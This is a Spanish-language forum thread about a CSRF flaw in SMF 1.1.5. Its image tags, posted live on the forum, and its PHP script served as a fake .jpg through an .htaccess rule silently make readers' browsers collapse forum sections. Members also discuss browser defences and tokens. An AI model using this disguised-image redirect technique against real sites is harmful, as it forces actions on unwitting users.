[°] CSRF en foros SMF => 1.1.5

Iniciado por WHK, 23 Agosto 2008, 09:41 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Por un foro limpio y ordenado vivan los CSRF de SMF 1.1.5  :P

visualiza el index del foro.

Fuente:
http://www.jccharry.com/comunidad/index.php?board=8.0

[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=1&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=2&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=4&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=6&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=9&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=10&url=http://foro.elhacker.net/[/img]

Newbie´s

Hay algún riesgo para un User ???...

Mmm... creo que se podrían tener datos valiosos o no ???... se supone que estan visualizando un "imagen" de tu Server donde se almacenan direcciones IP... además de poder ejecutar algún Script dentro de este mismo no es asi ???

Saludos cordiales...

WHK

Bueno, eso de ejecutar scripts atraves de imagenes es otro tema :P, claramente se podría tener tu ip ta,bién pero este no es el tema.

La falla solo puede hacer que el index se te vean todas las secciones colapsadas cada ves que veas la firma de alguien que tega ánimos de molestar.

cheatmaster

Es decir, basicamente, si creas un .htaccces con el codigo
<Files *.jpg>
ForceType application/x-httpd-php
</Files>


y luego un archivo .php renombrado a x ejemplo bug.jpg con este codigo

<?php
/* 
Prueba del concepto del XSRF en FMS => 1.1.5
http://www.jccharry.com/comunidad/
WHK - The hacktivism is not a crime.
*/

error_reporting(0);
$url str_replace("cript","_",strtolower($_GET['url']));

if(
is_numeric($_GET['colapsar']) and $url){
 
header("location: ".$url."/index.php?action=collapse;c=".$_GET['colapsar'].";sa=collapse;#".$_GET['colapsar']);
}else{
 
header("Content-type: image/png");
 echo 
base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAsAAAARCAYAAAAL4VbbAAAAQUlEQVQokWP8//8/A7GAiWiVpCpmQRdgZGSEu+v///+MWBUjKyLojP///zOim4RTMTFgVPEgVMwIS8/40gYsGQAA4yQVHW/Zg08AAAAASUVORK5CYII=");
}

?>



Al ponerlo en tu host y luego en la web, se "estropearia" ? es asin ?

fandango

Si la verdad que es bastante molesto  >:( saludos.

Silici0

Por curiosidad tengo dos cuestiones:

supongo que el noscript no te libra de XSRF al no utilizar un script ¿hay algo que pueda hacer el usuario en su navegador para evitarlo?
Hablo del XSRF en general.

Y la segunda cuestión, donde pongo un 222222 ¿eso es el token que evita que se pueda hacer lo mismo pero borrando un mensaje?
/deletemsg.html;topic=1;msg=1;sesc=222222
"Lo que posees acabará poseyéndote."
.
..:

WHK

Citarsupongo que el noscript no te libra de XSRF al no utilizar un script ¿hay algo que pueda hacer el usuario en su navegador para evitarlo?
Hablo del XSRF en general.
en las opociones de no-script tienes la posibilidad de bloquear iframes , aunque esto no es una solución al 100% evitará muchos problemas.
Para evitar el redireccionamiento en headers no conozco nada. Talves pueda haber algún complemento que bloquee las redirecciones desde un header.
De todas formas siempre hay una forma de hacerlo, puedes evitar ataques pero no todos.

CitarY la segunda cuestión, donde pongo un 222222 ¿eso es el token que evita que se pueda hacer lo mismo pero borrando un mensaje?
Citar/deletemsg.html;topic=1;msg=1;sesc=222222
Exacto, aunque hay otras muchas formas pero esa es solo una.

Silici0

Muchisimas gracias por tu contestación, hare las pruebas bloqueando iframes con noscript porque no he encontrado otra manera.

¿Hay ya algun parche que añada un token a la acción de colapsar? ¿Alguna solucion que no sea quitar la opción de colapsar en el SMF?


Y por último y para evitar futuros malentendidos, supongo que antes de hacer esto avisarias a los administradores de este foro. Si no, no habría durado tanto este post y en vez de ser modificado el primer post habria sido borrado.

Esto último va por si alguien se le ocurre hacer la gracia en este foro o en cualquier otro que sepa que seguramente será baneado.
"Lo que posees acabará poseyéndote."
.
..:

WHK

Citar¿Hay ya algun parche que añada un token a la acción de colapsar? ¿Alguna solucion que no sea quitar la opción de colapsar en el SMF?
SMF tiene la opción en "boards" o "foros" de asignar cual puede colapsarse y cual no, habría que darle la opción a cada uno de no colapsar.
Esta sería una solución temporal ya que la idea es que si se pueda colapsar pero no involuntariamente.

CitarY por último y para evitar futuros malentendidos, supongo que antes de hacer esto avisarias a los administradores de este foro. Si no, no habría durado tanto este post y en vez de ser modificado el primer post habria sido borrado.
Le avisé a un coadmin para que deshabilitara los colapsos de foros pero no se si lo hará o no, yo lo hice y no creo que el admin se moleste o si no me lo  hubiera hecho saber, es mas... si lo hubiera posteado en otro sitio de seguro lo hubieran probado acá primero sin avisarle a nadie y por lo menos acá ya todos están consientes del bug.

Si lo modificaron y no lo borraron es porque tienen el criterio que a otros le faltan.

sirdarckcat

CitarLe avisé a un coadmin para que deshabilitara los colapsos de foros pero no se si lo hará o no, yo lo hice y no creo que el admin se moleste o si no me lo  hubiera hecho saber, es mas... si lo hubiera posteado en otro sitio de seguro lo hubieran probado acá primero sin avisarle a nadie y por lo menos acá ya todos están consientes del bug.
Probablemente si se haga :¬¬ :¬¬